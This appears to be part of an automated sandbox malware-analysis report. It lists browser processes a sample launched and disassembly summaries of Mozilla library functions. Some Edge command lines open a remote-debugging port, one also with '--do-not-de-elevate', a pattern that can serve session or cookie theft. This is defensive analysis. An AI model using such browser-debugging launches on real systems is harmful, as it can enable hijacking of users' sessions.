MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:59:10
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2564,i,11894809263418386621,12068605829373464849,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:59:22
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:59:22
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2232,i,15510336952226513588,6990982743633393472,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:59:22
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	10:59:23
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	10:59:28
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5396 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:59:28
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7112 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:59:29
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7416 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:59:29
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7416 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:00:23
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7196 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4F688,00001000), ref: 6C9C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C9C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C9C369F
__aulldiv.LIBCMT ref: 6C9C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C9C3773
EnterCriticalSection.KERNEL32(6CA4F688), ref: 6C9C377E
LeaveCriticalSection.KERNEL32(6CA4F688), ref: 6C9C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9C37C4
EnterCriticalSection.KERNEL32(6CA4F688), ref: 6C9C37CB
LeaveCriticalSection.KERNEL32(6CA4F688), ref: 6C9C3801
__aulldiv.LIBCMT ref: 6C9C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C9C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C9C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C9C394C

Strings

QPC, xrefs: 6C9C38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C9C35DB
AuthcAMDenti, xrefs: 6C9C3946
GTC, xrefs: 6C9C3912
GenuntelineI, xrefs: 6C9C3639

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 12d79bf8185bea6a055daf66ca4534d91fb781ea09899c597c3d368e425a9887
Instruction ID: d38beefdfa0d6a5b0172fa16f1e004d1655faad93b41a6effeba7ec26922f056
Opcode Fuzzy Hash: 12d79bf8185bea6a055daf66ca4534d91fb781ea09899c597c3d368e425a9887
Instruction Fuzzy Hash: 52B1AF71B053519BDB0CEF38C84569AB7F9BB8A708F04CA2DE999D3750D731D8028B92

Function 6C9DC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C9DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C9DC969
GetSystemInfo.KERNEL32(?), ref: 6C9DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C9DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C9DC9E2

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 6390b572952a2d1554634a5704203784dae64388d567e04f7d4d3b7d3535237f
Instruction ID: ef09734cc6c17928df1f6b54d574ee56672834c8469878c8f1950dfe4e42c0f9
Opcode Fuzzy Hash: 6390b572952a2d1554634a5704203784dae64388d567e04f7d4d3b7d3535237f
Instruction Fuzzy Hash: 2C21D735741B156BDB18BA24DC84BAE73B9AB4670CF61C11EF907B7A80EB61E8058790

Function 6C9C3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C9C3095

Part of subcall function 6C9C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4F688,00001000), ref: 6C9C35D5
Part of subcall function 6C9C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9C35E0
Part of subcall function 6C9C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9C35FD
Part of subcall function 6C9C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C9C363F
Part of subcall function 6C9C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C9C369F
Part of subcall function 6C9C35A0: __aulldiv.LIBCMT ref: 6C9C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C309F

Part of subcall function 6C9E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9E56EE,?,00000001), ref: 6C9E5B85
Part of subcall function 6C9E5B50: EnterCriticalSection.KERNEL32(6CA4F688,?,?,?,6C9E56EE,?,00000001), ref: 6C9E5B90
Part of subcall function 6C9E5B50: LeaveCriticalSection.KERNEL32(6CA4F688,?,?,?,6C9E56EE,?,00000001), ref: 6C9E5BD8
Part of subcall function 6C9E5B50: GetTickCount64.KERNEL32 ref: 6C9E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9C30BE

Part of subcall function 6C9C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C9C3127
Part of subcall function 6C9C30F0: __aulldiv.LIBCMT ref: 6C9C3140

Part of subcall function 6C9FAB2A: __onexit.LIBCMT ref: 6C9FAB30

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 41a0ad3787439845a1ca53e4b75514c33ced379345e040a5bf2192f4faf5f8bd
Instruction ID: 9ff15f45806f21beb317f0209c6dffed56e976142094d2afc12f8a00338dddc9
Opcode Fuzzy Hash: 41a0ad3787439845a1ca53e4b75514c33ced379345e040a5bf2192f4faf5f8bd
Instruction Fuzzy Hash: 5FF0D622E207C596CB14FF349C411E6F370AF7B218F10E31DE85853511FB21A2D98386

Non-executed Functions

Function 6C9D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C9D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9D54BE
__Init_thread_footer.LIBCMT ref: 6C9D54DB

Part of subcall function 6C9FAB3F: EnterCriticalSection.KERNEL32(6CA4E370,?,?,6C9C3527,6CA4F6CC,?,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB49
Part of subcall function 6C9FAB3F: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C3527,6CA4F6CC,?,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FAB7C

Part of subcall function 6C9FCBE8: GetCurrentProcess.KERNEL32(?,6C9C31A7), ref: 6C9FCBF1
Part of subcall function 6C9FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9C31A7), ref: 6C9FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C9D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C9D5516
GetCurrentThreadId.KERNEL32 ref: 6C9D556A
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6C9D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C9D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C9D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9D55E6
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6C9D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D5616

Part of subcall function 6C9FAB89: EnterCriticalSection.KERNEL32(6CA4E370,?,?,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB94
Part of subcall function 6C9FAB89: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FABD1

GetCurrentThreadId.KERNEL32 ref: 6C9D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C9D567C
free.MOZGLUE(?), ref: 6C9D56AE

Part of subcall function 6C9E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9E5EDB
Part of subcall function 6C9E5E90: memset.VCRUNTIME140(6CA27765,000000E5,55CCCCCC), ref: 6C9E5F27
Part of subcall function 6C9E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9D56E8
GetCurrentThreadId.KERNEL32 ref: 6C9D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C9D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C9D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C9D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C9D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C9D5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9D57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C9D5AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C9D5D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C9D5C56
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9D5791
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9D5724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C9D5BBE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C9D5D24
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C9D5CF9
MOZ_BASE_PROFILER_HELP, xrefs: 6C9D5511
GeckoMain, xrefs: 6C9D5554, 6C9D55D5
[I %d/%d] profiler_init, xrefs: 6C9D564E
MOZ_PROFILER_STARTUP, xrefs: 6C9D55E1
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C9D5749
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9D57AE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9D54B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C9D584E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9D5766
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9D56E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C9D5D1C
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9D54A3
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9D57C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C9D5D01
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9D548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C9D5B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C9D5717

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 66a2c3a44414c9e67a5715f717cd00dc69800194066d6051a3ef996de06c4199
Instruction ID: 92a9b6f33b09d5ecb235e18da1de3dd1652a0979110ef7d269c0a90fbb7d04b7
Opcode Fuzzy Hash: 66a2c3a44414c9e67a5715f717cd00dc69800194066d6051a3ef996de06c4199
Instruction Fuzzy Hash: F72239B4A04B019FD700AF74940466A77B4FF8634DF15C629F94AA7B41EB32E489CB63

Function 6CA0B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA0B845
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8,?,?,00000000), ref: 6CA0B852
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0B884
InitializeConditionVariable.KERNEL32(?), ref: 6CA0B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CA0B9FD
GetCurrentThreadId.KERNEL32 ref: 6CA0BA05
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8,?,?,00000000), ref: 6CA0BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CA0BA27
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0BA4B
free.MOZGLUE(?), ref: 6CA0C9C7
free.MOZGLUE(?), ref: 6CA0C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CA0C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CA0C878

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 794d26dbb7d3fc765d09ace0569b0478913870f85ea8a706b348c5c635df2727
Instruction ID: c0a5ae6e63a3d8e18b69255db1981c5e3f7a5ab30a78f6b80d2b245663122fe3
Opcode Fuzzy Hash: 794d26dbb7d3fc765d09ace0569b0478913870f85ea8a706b348c5c635df2727
Instruction Fuzzy Hash: 2FA2BD71A083818FC725DF28D89079FB7E5BFD9358F048A2DE89997350DB319949CB82

Function 6C9D6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C9D6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C9D6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C9D6D26

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C9D6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C9D6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C9D6D73
free.MOZGLUE(00000000), ref: 6C9D6D80
CertGetNameStringW.CRYPT32 ref: 6C9D6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C9D6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C9D6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C9D6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C9D6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C9D6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C9D6E34
CreateFileW.KERNEL32 ref: 6C9D6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C9D6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C9D6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C9D709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C9D7103
free.MOZGLUE(00000000), ref: 6C9D7153
CloseHandle.KERNEL32(?), ref: 6C9D7176
__Init_thread_footer.LIBCMT ref: 6C9D7209
__Init_thread_footer.LIBCMT ref: 6C9D723A
__Init_thread_footer.LIBCMT ref: 6C9D726B
__Init_thread_footer.LIBCMT ref: 6C9D729C
__Init_thread_footer.LIBCMT ref: 6C9D72DC
__Init_thread_footer.LIBCMT ref: 6C9D730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9D73C2
VerSetConditionMask.NTDLL ref: 6C9D73F3
VerSetConditionMask.NTDLL ref: 6C9D73FF
VerSetConditionMask.NTDLL ref: 6C9D7406
VerSetConditionMask.NTDLL ref: 6C9D740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9D741A
moz_xmalloc.MOZGLUE(?), ref: 6C9D755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9D7568
